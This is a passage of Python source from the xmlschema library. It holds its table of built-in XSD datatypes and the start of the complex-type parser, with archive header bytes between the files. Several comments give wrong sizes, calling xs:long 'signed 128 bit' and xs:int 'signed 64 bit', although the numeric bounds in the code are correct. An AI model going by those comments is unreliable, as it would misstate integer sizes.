nm.XSD_WHITE_SPACE, nm.XSD_MAX_INCLUSIVE, nm.XSD_MAX_EXCLUSIVE, nm.XSD_MIN_INCLUSIVE, nm.XSD_MIN_EXCLUSIVE, nm.XSD_ASSERTION, nm.XSD_EXPLICIT_TIMEZONE } # # Element facets instances for builtin types. PRESERVE_WHITE_SPACE_ELEMENT = Element(nm.XSD_WHITE_SPACE, value='preserve') COLLAPSE_WHITE_SPACE_ELEMENT = Element(nm.XSD_WHITE_SPACE, value='collapse') REPLACE_WHITE_SPACE_ELEMENT = Element(nm.XSD_WHITE_SPACE, value='replace') XSD10_FLOAT_PATTERN_ELEMENT = Element( nm.XSD_PATTERN, value=r"(\+|-)?([0-9]+(\.[0-9]*)?|\.[0-9]+)([Ee](\+|-)?[0-9]+)?|INF|-INF|NaN" ) XSD11_FLOAT_PATTERN_ELEMENT = Element( nm.XSD_PATTERN, value=r"(\+|-)?([0-9]+(\.[0-9]*)?|\.[0-9]+)([Ee](\+|-)?[0-9]+)?|(\+|-)?INF|NaN" ) XSD_COMMON_BUILTIN_TYPES: tuple[dict[str, Any], ...] = ( # *********************** # *** Primitive types *** # *********************** # --- String Types --- { 'name': nm.XSD_STRING, 'datatype': datatypes.StringProxy, 'python_type': str, 'admitted_facets': STRING_FACETS, 'facets': [PRESERVE_WHITE_SPACE_ELEMENT], }, # character string # --- Numerical Types --- { 'name': nm.XSD_DECIMAL, 'datatype': datatypes.DecimalProxy, 'python_type': (Decimal, int, float), 'admitted_facets': DECIMAL_FACETS, 'to_python': datatypes.DecimalProxy, 'facets': [decimal_validator, COLLAPSE_WHITE_SPACE_ELEMENT], }, # decimal number # --- Dates and Times (not year related) --- { 'name': nm.XSD_GDAY, 'datatype': datatypes.GregorianDay, 'python_type': datatypes.GregorianDay, 'admitted_facets': DATETIME_FACETS, 'facets': [COLLAPSE_WHITE_SPACE_ELEMENT], 'to_python': datatypes.GregorianDay.fromstring, }, # DD { 'name': nm.XSD_GMONTH, 'datatype': datatypes.GregorianMonth, 'python_type': datatypes.GregorianMonth, 'admitted_facets': DATETIME_FACETS, 'facets': [COLLAPSE_WHITE_SPACE_ELEMENT], 'to_python': datatypes.GregorianMonth.fromstring, }, # MM { 'name': nm.XSD_GMONTH_DAY, 'datatype': datatypes.GregorianMonthDay, 'python_type': datatypes.GregorianMonthDay, 'admitted_facets': DATETIME_FACETS, 'facets': [COLLAPSE_WHITE_SPACE_ELEMENT], 'to_python': datatypes.GregorianMonthDay.fromstring, }, # MM-DD { 'name': nm.XSD_TIME, 'datatype': datatypes.Time, 'python_type': datatypes.Time, 'admitted_facets': DATETIME_FACETS, 'facets': [COLLAPSE_WHITE_SPACE_ELEMENT], 'to_python': datatypes.Time.fromstring, }, # hh:mm:ss { 'name': nm.XSD_DURATION, 'datatype': datatypes.Duration, 'python_type': datatypes.Duration, 'admitted_facets': FLOAT_FACETS, 'facets': [COLLAPSE_WHITE_SPACE_ELEMENT], 'to_python': datatypes.Duration.fromstring, }, # PnYnMnDTnHnMnS # Other primitive types { 'name': nm.XSD_QNAME, 'datatype': datatypes.QName, 'python_type': (str, datatypes.QName), 'admitted_facets': STRING_FACETS, 'facets': [COLLAPSE_WHITE_SPACE_ELEMENT, qname_validator], }, # prf:name (the prefix needs to be qualified with an in-scope namespace) { 'name': nm.XSD_NOTATION_TYPE, 'datatype': datatypes.Notation, 'python_type': (str, datatypes.Notation), 'admitted_facets': STRING_FACETS, 'facets': [COLLAPSE_WHITE_SPACE_ELEMENT], }, # type for NOTATION attributes: QNames of xs:notation declarations as value space. { 'name': nm.XSD_ANY_URI, 'datatype': datatypes.AnyURI, 'python_type': (str, datatypes.AnyURI), 'admitted_facets': STRING_FACETS, 'facets': [COLLAPSE_WHITE_SPACE_ELEMENT], }, # absolute or relative uri (RFC 2396) { 'name': nm.XSD_BOOLEAN, 'datatype': datatypes.BooleanProxy, 'python_type': bool, 'admitted_facets': BOOLEAN_FACETS, 'facets': [COLLAPSE_WHITE_SPACE_ELEMENT], 'to_python': boolean_to_python, 'from_python': python_to_boolean, }, # true/false or 1/0 { 'name': nm.XSD_BASE64_BINARY, 'datatype': datatypes.Base64Binary, 'python_type': (datatypes.Base64Binary, str, bytes), 'admitted_facets': STRING_FACETS, 'facets': [COLLAPSE_WHITE_SPACE_ELEMENT, base64_binary_validator], }, # base64 encoded binary value { 'name': nm.XSD_HEX_BINARY, 'datatype': datatypes.HexBinary, 'python_type': (datatypes.HexBinary, str, bytes), 'admitted_facets': STRING_FACETS, 'facets': [COLLAPSE_WHITE_SPACE_ELEMENT, hex_binary_validator], }, # hexadecimal encoded binary value # ********************* # *** Derived types *** # ********************* # --- String Types --- { 'name': nm.XSD_NORMALIZED_STRING, 'datatype': datatypes.NormalizedString, 'python_type': str, 'base_type': nm.XSD_STRING, 'facets': [REPLACE_WHITE_SPACE_ELEMENT], }, # line breaks are normalized { 'name': nm.XSD_TOKEN, 'datatype': datatypes.XsdToken, 'python_type': str, 'base_type': nm.XSD_NORMALIZED_STRING, 'facets': [COLLAPSE_WHITE_SPACE_ELEMENT], }, # whitespaces are normalized { 'name': nm.XSD_LANGUAGE, 'datatype': datatypes.Language, 'python_type': str, 'base_type': nm.XSD_TOKEN, 'facets': [Element(nm.XSD_PATTERN, value=r"[a-zA-Z]{1,8}(-[a-zA-Z0-9]{1,8})*")] }, # language codes { 'name': nm.XSD_NAME, 'datatype': datatypes.Name, 'python_type': str, 'base_type': nm.XSD_TOKEN, 'facets': [Element(nm.XSD_PATTERN, value=r"\i\c*")] }, # not starting with a digit { 'name': nm.XSD_NCNAME, 'datatype': datatypes.NCName, 'python_type': str, 'base_type': nm.XSD_NAME, 'facets': [Element(nm.XSD_PATTERN, value=r"[\i-[:]][\c-[:]]*")] }, # cannot contain colons { 'name': nm.XSD_ID, 'datatype': datatypes.Id, 'python_type': str, 'base_type': nm.XSD_NCNAME }, # unique identification in document (attribute only) { 'name': nm.XSD_IDREF, 'datatype': datatypes.Idref, 'python_type': str, 'base_type': nm.XSD_NCNAME }, # reference to ID field in document (attribute only) { 'name': nm.XSD_ENTITY, 'datatype': datatypes.Entity, 'python_type': str, 'base_type': nm.XSD_NCNAME }, # reference to entity (attribute only) { 'name': nm.XSD_NMTOKEN, 'datatype': datatypes.NMToken, 'python_type': str, 'base_type': nm.XSD_TOKEN, 'facets': [Element(nm.XSD_PATTERN, value=r"\c+")] }, # should not contain whitespace (attribute only) # --- Numerical derived types --- { 'name': nm.XSD_INTEGER, 'datatype': datatypes.Integer, 'python_type': int, 'from_python': python_to_int, 'base_type': nm.XSD_DECIMAL }, # any integer value { 'name': nm.XSD_LONG, 'datatype': datatypes.Long, 'python_type': int, 'from_python': python_to_int, 'base_type': nm.XSD_INTEGER, 'facets': [long_validator, Element(nm.XSD_MIN_INCLUSIVE, value='-9223372036854775808'), Element(nm.XSD_MAX_INCLUSIVE, value='9223372036854775807')] }, # signed 128 bit value { 'name': nm.XSD_INT, 'datatype': datatypes.Int, 'python_type': int, 'from_python': python_to_int, 'base_type': nm.XSD_LONG, 'facets': [int_validator, Element(nm.XSD_MIN_INCLUSIVE, value='-2147483648'), Element(nm.XSD_MAX_INCLUSIVE, value='2147483647')] }, # signed 64 bit value { 'name': nm.XSD_SHORT, 'datatype': datatypes.Short, 'python_type': int, 'from_python': python_to_int, 'base_type': nm.XSD_INT, 'facets': [short_validator, Element(nm.XSD_MIN_INCLUSIVE, value='-32768'), Element(nm.XSD_MAX_INCLUSIVE, value='32767')] }, # signed 32 bit value { 'name': nm.XSD_BYTE, 'datatype': datatypes.Byte, 'python_type': int, 'from_python': python_to_int, 'base_type': nm.XSD_SHORT, 'facets': [byte_validator, Element(nm.XSD_MIN_INCLUSIVE, value='-128'), Element(nm.XSD_MAX_INCLUSIVE, value='127')] }, # signed 8 bit value { 'name': nm.XSD_NON_NEGATIVE_INTEGER, 'datatype': datatypes.NonNegativeInteger, 'python_type': int, 'from_python': python_to_int, 'base_type': nm.XSD_INTEGER, 'facets': [non_negative_int_validator, Element(nm.XSD_MIN_INCLUSIVE, value='0')] }, # only zero and more value allowed [>= 0] { 'name': nm.XSD_POSITIVE_INTEGER, 'datatype': datatypes.PositiveInteger, 'python_type': int, 'from_python': python_to_int, 'base_type': nm.XSD_NON_NEGATIVE_INTEGER, 'facets': [positive_int_validator, Element(nm.XSD_MIN_INCLUSIVE, value='1')] }, # only positive value allowed [> 0] { 'name': nm.XSD_UNSIGNED_LONG, 'datatype': datatypes.UnsignedLong, 'python_type': int, 'from_python': python_to_int, 'base_type': nm.XSD_NON_NEGATIVE_INTEGER, 'facets': [unsigned_long_validator, Element(nm.XSD_MAX_INCLUSIVE, value='18446744073709551615')] }, # unsigned 128 bit value { 'name': nm.XSD_UNSIGNED_INT, 'datatype': datatypes.UnsignedInt, 'python_type': int, 'from_python': python_to_int, 'base_type': nm.XSD_UNSIGNED_LONG, 'facets': [unsigned_int_validator, Element(nm.XSD_MAX_INCLUSIVE, value='4294967295')] }, # unsigned 64 bit value { 'name': nm.XSD_UNSIGNED_SHORT, 'datatype': datatypes.UnsignedShort, 'python_type': int, 'from_python': python_to_int, 'base_type': nm.XSD_UNSIGNED_INT, 'facets': [unsigned_short_validator, Element(nm.XSD_MAX_INCLUSIVE, value='65535')] }, # unsigned 32 bit value { 'name': nm.XSD_UNSIGNED_BYTE, 'datatype': datatypes.UnsignedByte, 'python_type': int, 'from_python': python_to_int, 'base_type': nm.XSD_UNSIGNED_SHORT, 'facets': [unsigned_byte_validator, Element(nm.XSD_MAX_INCLUSIVE, value='255')] }, # unsigned 8 bit value { 'name': nm.XSD_NON_POSITIVE_INTEGER, 'datatype': datatypes.NonPositiveInteger, 'python_type': int, 'from_python': python_to_int, 'base_type': nm.XSD_INTEGER, 'facets': [non_positive_int_validator, Element(nm.XSD_MAX_INCLUSIVE, value='0')] }, # only zero and smaller value allowed [<= 0] { 'name': nm.XSD_NEGATIVE_INTEGER, 'datatype': datatypes.NegativeInteger, 'python_type': int, 'from_python': python_to_int, 'base_type': nm.XSD_NON_POSITIVE_INTEGER, 'facets': [negative_int_validator, Element(nm.XSD_MAX_INCLUSIVE, value='-1')] }, # only negative value allowed [< 0] ) XSD_10_BUILTIN_TYPES: tuple[dict[str, Any], ...] = XSD_COMMON_BUILTIN_TYPES + ( { 'name': nm.XSD_DOUBLE, 'datatype': datatypes.DoubleProxy10, 'python_type': float, 'admitted_facets': FLOAT_FACETS, 'facets': [XSD10_FLOAT_PATTERN_ELEMENT, COLLAPSE_WHITE_SPACE_ELEMENT], 'from_python': python_to_float, }, # 64 bit floating point { 'name': nm.XSD_FLOAT, 'datatype': datatypes.Float10, 'python_type': float, 'admitted_facets': FLOAT_FACETS, 'facets': [XSD10_FLOAT_PATTERN_ELEMENT, COLLAPSE_WHITE_SPACE_ELEMENT], 'from_python': python_to_float, }, # 32 bit floating point # --- Year related primitive types (year 0 not allowed) --- { 'name': nm.XSD_DATETIME, 'datatype': datatypes.DateTime10, 'python_type': datatypes.DateTime10, 'admitted_facets': DATETIME_FACETS, 'facets': [COLLAPSE_WHITE_SPACE_ELEMENT], 'to_python': datatypes.DateTime10.fromstring, }, # [-][Y*]YYYY-MM-DD[Thh:mm:ss] { 'name': nm.XSD_DATE, 'datatype': datatypes.Date10, 'python_type': datatypes.Date10, 'admitted_facets': DATETIME_FACETS, 'facets': [COLLAPSE_WHITE_SPACE_ELEMENT], 'to_python': datatypes.Date10.fromstring, }, # [-][Y*]YYYY-MM-DD { 'name': nm.XSD_GYEAR, 'datatype': datatypes.GregorianYear10, 'python_type': datatypes.GregorianYear10, 'admitted_facets': DATETIME_FACETS, 'facets': [COLLAPSE_WHITE_SPACE_ELEMENT], 'to_python': datatypes.GregorianYear10.fromstring, }, # [-][Y*]YYYY { 'name': nm.XSD_GYEAR_MONTH, 'datatype': datatypes.GregorianYearMonth10, 'python_type': datatypes.GregorianYearMonth10, 'admitted_facets': DATETIME_FACETS, 'facets': [COLLAPSE_WHITE_SPACE_ELEMENT], 'to_python': datatypes.GregorianYearMonth10.fromstring, }, # [-][Y*]YYYY-MM ) XSD_11_BUILTIN_TYPES: tuple[dict[str, Any], ...] = XSD_COMMON_BUILTIN_TYPES + ( { 'name': nm.XSD_DOUBLE, 'datatype': datatypes.DoubleProxy, 'python_type': float, 'admitted_facets': FLOAT_FACETS, 'facets': [XSD11_FLOAT_PATTERN_ELEMENT, COLLAPSE_WHITE_SPACE_ELEMENT], 'from_python': python_to_float, }, # 64 bit floating point { 'name': nm.XSD_FLOAT, 'datatype': datatypes.Float, 'python_type': float, 'admitted_facets': FLOAT_FACETS, 'facets': [XSD11_FLOAT_PATTERN_ELEMENT, COLLAPSE_WHITE_SPACE_ELEMENT], 'from_python': python_to_float, }, # 32 bit floating point # --- Year related primitive types (year 0 allowed and mapped to 1 BCE) --- { 'name': nm.XSD_DATETIME, 'datatype': datatypes.DateTime, 'python_type': datatypes.DateTime, 'admitted_facets': DATETIME_FACETS, 'facets': [COLLAPSE_WHITE_SPACE_ELEMENT], 'to_python': datatypes.DateTime.fromstring, }, # [-][Y*]YYYY-MM-DD[Thh:mm:ss] { 'name': nm.XSD_DATE, 'datatype': datatypes.Date, 'python_type': datatypes.Date, 'admitted_facets': DATETIME_FACETS, 'facets': [COLLAPSE_WHITE_SPACE_ELEMENT], 'to_python': datatypes.Date.fromstring, }, # [-][Y*]YYYY-MM-DD { 'name': nm.XSD_GYEAR, 'datatype': datatypes.GregorianYear, 'python_type': datatypes.GregorianYear, 'admitted_facets': DATETIME_FACETS, 'facets': [COLLAPSE_WHITE_SPACE_ELEMENT], 'to_python': datatypes.GregorianYear.fromstring, }, # [-][Y*]YYYY { 'name': nm.XSD_GYEAR_MONTH, 'datatype': datatypes.GregorianYearMonth, 'python_type': datatypes.GregorianYearMonth, 'admitted_facets': DATETIME_FACETS, 'facets': [COLLAPSE_WHITE_SPACE_ELEMENT], 'to_python': datatypes.GregorianYearMonth.fromstring, }, # [-][Y*]YYYY-MM # --- Datetime derived types (XSD 1.1) --- { 'name': nm.XSD_DATE_TIME_STAMP, 'datatype': datatypes.DateTimeStamp, 'python_type': datatypes.DateTimeStamp, 'base_type': nm.XSD_DATETIME, 'to_python': datatypes.DateTime.fromstring, 'facets': [Element(nm.XSD_EXPLICIT_TIMEZONE, value='required')], }, # [-][Y*]YYYY-MM-DD[Thh:mm:ss] with required timezone { 'name': nm.XSD_DAY_TIME_DURATION, 'datatype': datatypes.DayTimeDuration, 'python_type': datatypes.DayTimeDuration, 'base_type': nm.XSD_DURATION, 'to_python': datatypes.DayTimeDuration.fromstring, }, # PnYnMnDTnHnMnS with month a year equal to 0 { 'name': nm.XSD_YEAR_MONTH_DURATION, 'datatype': datatypes.YearMonthDuration, 'python_type': datatypes.YearMonthDuration, 'base_type': nm.XSD_DURATION, 'to_python': datatypes.YearMonthDuration.fromstring, }, # PnYnMnDTnHnMnS with day and time equals to 0 # --- xs:error primitive type (XSD 1.1) --- { 'name': nm.XSD_ERROR, 'datatype': type(None), 'python_type': type(None), 'admitted_facets': (), 'facets': [error_type_validator], }, # xs:error has no value space and no lexical space ) BUILTIN_TYPES = { '1.0': XSD_10_BUILTIN_TYPES, '1.1': XSD_11_BUILTIN_TYPES } �������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/validators/complex_types.py�����������������������������������������������0000664�0000000�0000000�00000133563�15020401055�0023076�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from collections.abc import Iterator from functools import cached_property from typing import cast, Any, Optional, Union from elementpath.datatypes import AnyAtomicType from xmlschema.exceptions import XMLSchemaValueError from xmlschema.names import XSD_GROUP, XSD_ATTRIBUTE_GROUP, XSD_SEQUENCE, XSD_OVERRIDE, \ XSD_ALL, XSD_CHOICE, XSD_ANY_ATTRIBUTE, XSD_ATTRIBUTE, XSD_COMPLEX_CONTENT, \ XSD_RESTRICTION, XSD_COMPLEX_TYPE, XSD_EXTENSION, XSD_ANY_TYPE, XSD_ASSERT, \ XSD_SIMPLE_CONTENT, XSD_OPEN_CONTENT, XSD_ANNOTATION from xmlschema.aliases import ElementType, NsmapType, SchemaType, ComponentClassType, \ DecodeType, BaseXsdType, DecodedValueType, ExtraValidatorType, ValidationHookType from xmlschema.translation import gettext as _ from xmlschema.utils.qnames import get_qname, local_name from .exceptions import XMLSchemaCircularityError, XMLSchemaDecodeError from .validation import DecodeContext, EncodeContext, ValidationMixin from .helpers import get_xsd_derivation_attribute from .xsdbase import XSD_TYPE_DERIVATIONS, XsdComponent, XsdType from .attributes import XsdAttributeGroup from .assertions import XsdAssert from .simple_types import FacetsValueType, XsdSimpleType, XsdUnion, XsdAtomic from .groups import XsdGroup from .wildcards import XsdAnyElement, XsdOpenContent, XsdDefaultOpenContent XSD_MODEL_GROUP_TAGS = frozenset([XSD_GROUP, XSD_SEQUENCE, XSD_ALL, XSD_CHOICE]) class XsdComplexType(XsdType, ValidationMixin[Union[ElementType, str, bytes], Any]): """ Class for XSD 1.0 *complexType* definitions. :var attributes: the attribute group related with the complexType. :var content: the content of the complexType can be a model group or a simple type. :var mixed: if `True` the complex type has mixed content. .. <complexType abstract = boolean : false block = (#all | List of (extension | restriction)) final = (#all | List of (extension | restriction)) id = ID mixed = boolean : false name = NCName {any attributes with non-schema namespace . . .}> Content: (annotation?, (simpleContent | complexContent | ((group | all | choice | sequence)?, ((attribute | attributeGroup)*, anyAttribute?)))) </complexType> """ attributes: XsdAttributeGroup redefine: Optional[BaseXsdType] content: Union[XsdGroup, XsdSimpleType] abstract: bool = False mixed: bool = False assertions: Union[tuple[()], list[XsdAssert]] = () open_content: Optional[XsdOpenContent] = None _block: Optional[str] = None _ADMITTED_TAGS = (XSD_COMPLEX_TYPE, XSD_RESTRICTION) _CONTENT_TAIL_TAGS = {XSD_ATTRIBUTE, XSD_ATTRIBUTE_GROUP, XSD_ANY_ATTRIBUTE} @staticmethod def normalize(text: Union[str, bytes]) -> str: return text.decode('utf-8') if isinstance(text, bytes) else text __slots__ = ('content', 'attributes') def __init__(self, elem: ElementType, schema: SchemaType, parent: Optional[XsdComponent] = None, name: Optional[str] = None, **kwargs: Any) -> None: if kwargs: if 'content' in kwargs: self.content = kwargs['content'] if 'attributes' in kwargs: self.attributes = kwargs['attributes'] if 'mixed' in kwargs: self.mixed = kwargs['mixed'] if 'block' in kwargs: self._block = kwargs['block'] if 'final' in kwargs: self._final = kwargs['final'] super().__init__(elem, schema, parent, name) def __repr__(self) -> str: if self.name is not None: return '%s(name=%r)' % (self.__class__.__name__, self.prefixed_name) elif not hasattr(self, 'content') or not hasattr(self, 'attributes'): return '%s(id=%r)' % (self.__class__.__name__, id(self)) else: return '%s(content=%r, attributes=%r)' % ( self.__class__.__name__, self.content_type_label, [a if a.name is None else a.prefixed_name for a in self.attributes.values()] ) def _parse(self) -> None: if self.elem.tag == XSD_RESTRICTION: return # a local restriction is already parsed by the caller if 'abstract' in self.elem.attrib: if self.elem.attrib['abstract'].strip() in ('true', '1'): self.abstract = True if 'block' in self.elem.attrib: try: self._block = get_xsd_derivation_attribute(self.elem, 'block', XSD_TYPE_DERIVATIONS) except ValueError as err: self.parse_error(err) if 'final' in self.elem.attrib: try: self._final = get_xsd_derivation_attribute(self.elem, 'final', XSD_TYPE_DERIVATIONS) except ValueError as err: self.parse_error(err) if 'mixed' in self.elem.attrib: if self.elem.attrib['mixed'].strip() in ('true', '1'): self.mixed = True try: self.name = get_qname(self.target_namespace, self.elem.attrib['name']) except KeyError: self.name = None if self.parent is None: msg = _("missing attribute 'name' in a global complexType") self.parse_error(msg) self.name = 'nameless_%s' % str(id(self)) else: if self.parent is not None: msg = _("attribute 'name' not allowed in a local complexType") self.parse_error(msg) self.name = None content_elem = self._parse_child_component(self.elem, strict=False) if content_elem is None or content_elem.tag in self._CONTENT_TAIL_TAGS: self.content = self.builders.create_empty_content_group(self) self._parse_content_tail(self.elem) default_open_content = self.default_open_content if default_open_content is not None and \ (self.mixed or self.content or default_open_content.applies_to_empty): self.open_content = default_open_content elif content_elem.tag in (XSD_GROUP, XSD_SEQUENCE, XSD_ALL, XSD_CHOICE): self.content = self.builders.group_class(content_elem, self.schema, self) default_open_content = self.default_open_content if default_open_content is not None and \ (self.mixed or self.content or default_open_content.applies_to_empty): self.open_content = default_open_content self._parse_content_tail(self.elem) elif content_elem.tag == XSD_SIMPLE_CONTENT: if 'mixed' in content_elem.attrib: msg = _("'mixed' attribute not allowed with simpleContent") self.parse_error(msg, content_elem) derivation_elem = self._parse_derivation_elem(content_elem) if derivation_elem is None: return self.base_type = base_type = self._parse_base_type(derivation_elem) if derivation_elem.tag == XSD_RESTRICTION: self._parse_simple_content_restriction(derivation_elem, base_type) else: self._parse_simple_content_extension(derivation_elem, base_type) if content_elem is not self.elem[-1]: k = 2 if content_elem is not self.elem[0] else 1 msg = _("unexpected tag %r after simpleContent declaration:") self.parse_error(msg % self.elem[k].tag) elif content_elem.tag == XSD_COMPLEX_CONTENT: # # complexType with complexContent restriction/extension if 'mixed' in content_elem.attrib: mixed = content_elem.attrib['mixed'] in ('true', '1') if mixed is not self.mixed: self.mixed = mixed if 'mixed' in self.elem.attrib and self.xsd_version == '1.1': msg = _("value of 'mixed' attribute in complexType " "and complexContent must be the same") self.parse_error(msg) derivation_elem = self._parse_derivation_elem(content_elem) if derivation_elem is None: return self.base_type = self._parse_base_type(derivation_elem, complex_content=True) if self.base_type is self and self.redefine is not None: self.base_type = self.redefine self.open_content = None if derivation_elem.tag == XSD_RESTRICTION: self._parse_complex_content_restriction(derivation_elem, self.base_type) else: self._parse_complex_content_extension(derivation_elem, self.base_type) if content_elem is not self.elem[-1]: k = 2 if content_elem is not self.elem[0] else 1 msg = _("unexpected tag %r after complexContent declaration") self.parse_error(msg % self.elem[k].tag) elif content_elem.tag == XSD_OPEN_CONTENT and self.xsd_version > '1.0': self.open_content = XsdOpenContent(content_elem, self.schema, self) if content_elem is self.elem[-1]: self.content = self.builders.create_empty_content_group(self) else: for index, child in enumerate(self.elem): if content_elem is not child: continue elif (self.elem[index + 1].tag in (XSD_GROUP, XSD_SEQUENCE, XSD_ALL, XSD_CHOICE)): self.content = self.builders.group_class( self.elem[index + 1], self.schema, self ) else: self.content = self.builders.create_empty_content_group(self) break self._parse_content_tail(self.elem) else: if self.schema.validation == 'skip': # Also generated by meta-schema validation for 'lax' and 'strict' modes msg = _("unexpected tag %r for complexType content") self.parse_error(msg % content_elem.tag) self.content = self.builders.create_any_content_group(self) self.attributes = self.builders.create_any_attribute_group(self) if self.redefine is None: if self.base_type is not None and self.base_type.name == self.name: msg = _("wrong definition with self-reference") self.parse_error(msg) elif self.base_type is None or self.base_type.name != self.name: msg = _("wrong redefinition without self-reference") self.parse_error(msg) def _parse_content_tail(self, elem: ElementType, **kwargs: Any) -> None: self.attributes = self.builders.attribute_group_class( elem, self.schema, self, **kwargs ) def _parse_derivation_elem(self, elem: ElementType) -> Optional[ElementType]: derivation_elem = self._parse_child_component(elem) if derivation_elem is None or derivation_elem.tag not in (XSD_RESTRICTION, XSD_EXTENSION): msg = _("restriction or extension tag expected") self.parse_error(msg, derivation_elem) self.content = self.builders.create_any_content_group(self) self.attributes = self.builders.create_any_attribute_group(self) return None if self.derivation is not None and self.redefine is None: msg = _("{!r} is expected to have a redefined/overridden component") raise XMLSchemaValueError(msg.format(self)) self.derivation = local_name(derivation_elem.tag) if self.base_type is not None and self.derivation in self.base_type.final: msg = _("{0!r} derivation not allowed for {1!r}") self.parse_error(msg.format(self.derivation, self)) return derivation_elem def _parse_base_type(self, elem: ElementType, complex_content: bool = False) \ -> Union[XsdSimpleType, 'XsdComplexType']: try: base_qname = self.schema.resolve_qname(elem.attrib['base']) except (KeyError, ValueError, RuntimeError) as err: if 'base' not in elem.attrib: msg = _("'base' attribute required") self.parse_error(msg, elem) else: self.parse_error(err, elem) return self.any_type try: base_type = self.maps.types[base_qname] except KeyError: msg = _("missing base type %r") self.parse_error(msg % base_qname, elem) if complex_content: return self.any_type else: return self.any_simple_type except XMLSchemaCircularityError as err: self.parse_error(err, err.elem) return self.any_type else: if complex_content and base_type.is_simple(): msg = _("a complexType ancestor required: {!r}") self.parse_error(msg.format(base_type), elem) return self.any_type if base_type.final and elem.tag.rsplit('}', 1)[-1] in base_type.final: msg = _("derivation by %r blocked by attribute 'final' in base type") self.parse_error(msg % elem.tag.rsplit('}', 1)[-1]) return base_type def _parse_simple_content_restriction(self, elem: ElementType, base_type: Any) -> None: # simpleContent restriction: the base type must be a complexType with a simple # content or a complex content with a mixed and emptiable content. if base_type.is_simple(): msg = _("a complexType ancestor required: {!r}") self.parse_error(msg.format(base_type), elem) self.content = self.builders.create_any_content_group(self) self._parse_content_tail(elem) else: if base_type.is_empty(): self.content = self.builders.atomic_restriction_class( elem, self.schema, self ) if not self.is_empty(): msg = _("a not empty simpleContent cannot restrict an empty content type") self.parse_error(msg, elem) self.content = self.builders.create_any_content_group(self) elif base_type.has_simple_content(): self.content = self.builders.atomic_restriction_class( elem, self.schema, self ) if not self.content.is_derived(base_type.content, 'restriction'): msg = _("content type is not a restriction of base content") self.parse_error(msg, elem) elif base_type.mixed and base_type.is_emptiable(): self.content = self.builders.atomic_restriction_class( elem, self.schema, self ) else: msg = _("with simpleContent cannot restrict an element-only content type") self.parse_error(msg, elem) self.content = self.builders.create_any_content_group(self) self._parse_content_tail(elem, derivation='restriction', base_attributes=base_type.attributes) def _parse_simple_content_extension(self, elem: ElementType, base_type: Any) -> None: # simpleContent extension: the base type must be a simpleType or a complexType # with simple content. child = self._parse_child_component(elem, strict=False) if child is not None and child.tag not in self._CONTENT_TAIL_TAGS: msg = _('unexpected tag %r') self.parse_error(msg % child.tag, child) if base_type.is_simple(): self.content = base_type self._parse_content_tail(elem) else: if base_type.has_simple_content(): self.content = base_type.content else: self.parse_error(_("base type %r has no simple content") % base_type, elem) self.content = self.builders.create_any_content_group(self) self._parse_content_tail(elem, derivation='extension', base_attributes=base_type.attributes) def _parse_complex_content_restriction(self, elem: ElementType, base_type: Any) -> None: if 'restriction' in base_type.final: msg = _("the base type is not derivable by restriction") self.parse_error(msg) if base_type.is_simple() or base_type.has_simple_content(): msg = _("base %r is simple or has a simple content") self.parse_error(msg % base_type, elem) base_type = self.any_type # complexContent restriction: the base type must be a complexType with a complex content. for child in elem: if child.tag == XSD_OPEN_CONTENT and self.xsd_version > '1.0': self.open_content = XsdOpenContent(child, self.schema, self) continue elif child.tag in XSD_MODEL_GROUP_TAGS: content = self.builders.group_class(child, self.schema, self) if not base_type.content.admits_restriction(content.model): msg = _("restriction of an xs:{0} with more than " "one particle with xs:{1} is forbidden") self.parse_error(msg.format(base_type.content.model, content.model)) break else: content = self.builders.create_empty_content_group( self, base_type.content.model ) content.restriction = base_type.content if base_type.is_element_only() and content.mixed: msg = _("derived a mixed content from a base type that has element-only content") self.parse_error(msg, elem) elif base_type.is_empty() and not content.is_empty(): msg = _("an empty content derivation from base type that has not empty content") self.parse_error(msg, elem) if self.open_content is None: default_open_content = self.default_open_content if default_open_content is not None and \ (self.mixed or content or default_open_content.applies_to_empty): self.open_content = default_open_content if self.open_content and content and \ not self.open_content.is_restriction(base_type.open_content): msg = _("{0!r} is not a restriction of the base type {1!r}") self.parse_error(msg.format(self.open_content, base_type.open_content)) self.content = content self._parse_content_tail(elem, derivation='restriction', base_attributes=base_type.attributes) def _parse_complex_content_extension(self, elem: ElementType, base_type: Any) -> None: if 'extension' in base_type.final: msg = _("the base type is not derivable by extension") self.parse_error(msg) group_elem: Optional[ElementType] for group_elem in elem: if group_elem.tag != XSD_ANNOTATION and not callable(group_elem.tag): break else: group_elem = None if base_type.is_empty(): if not base_type.mixed: # Empty element-only model extension: don't create a nested group. if group_elem is not None and group_elem.tag in XSD_MODEL_GROUP_TAGS: self.content = self.builders.group_class( group_elem, self.schema, self ) elif base_type.is_simple() or base_type.has_simple_content(): self.content = self.builders.create_empty_content_group(self) else: self.content = self.builders.create_empty_content_group( parent=self, elem=base_type.content.elem ) else: # Empty mixed model extension self.content = self.builders.create_empty_content_group(self) self.content.append(self.builders.create_empty_content_group(self.content)) if group_elem is not None and group_elem.tag in XSD_MODEL_GROUP_TAGS: group = self.builders.group_class( group_elem, self.schema, self.content ) if not self.mixed: msg = _("base has a different content type (mixed=%r) " "and the extension group is not empty.") self.parse_error(msg % base_type.mixed, elem) else: group = self.builders.create_empty_content_group(self) self.content.append(group) self.content.elem.append(base_type.content.elem) self.content.elem.append(group.elem) elif group_elem is not None and group_elem.tag in XSD_MODEL_GROUP_TAGS: # Derivation from a simple content is forbidden if base type is not empty. if base_type.is_simple() or base_type.has_simple_content(): msg = _("base %r is simple or has a simple content") self.parse_error(msg % base_type, elem) base_type = self.any_type group = self.builders.group_class(group_elem, self.schema, self) if group.model == 'all': msg = _("cannot extend a complex content with xs:all") self.parse_error(msg) if base_type.content.model == 'all' and group.model == 'sequence': msg = _("xs:sequence cannot extend xs:all") self.parse_error(msg) content = self.builders.create_empty_content_group(self) content.append(base_type.content) content.append(group) content.elem.append(base_type.content.elem) content.elem.append(group.elem) if base_type.content.model == 'all' and base_type.content and group: msg = _("XSD 1.0 does not allow extension of a not empty 'all' model group") self.parse_error(msg) if base_type.mixed is not self.mixed: msg = _("base has a different content type (mixed=%r) " "and the extension group is not empty") 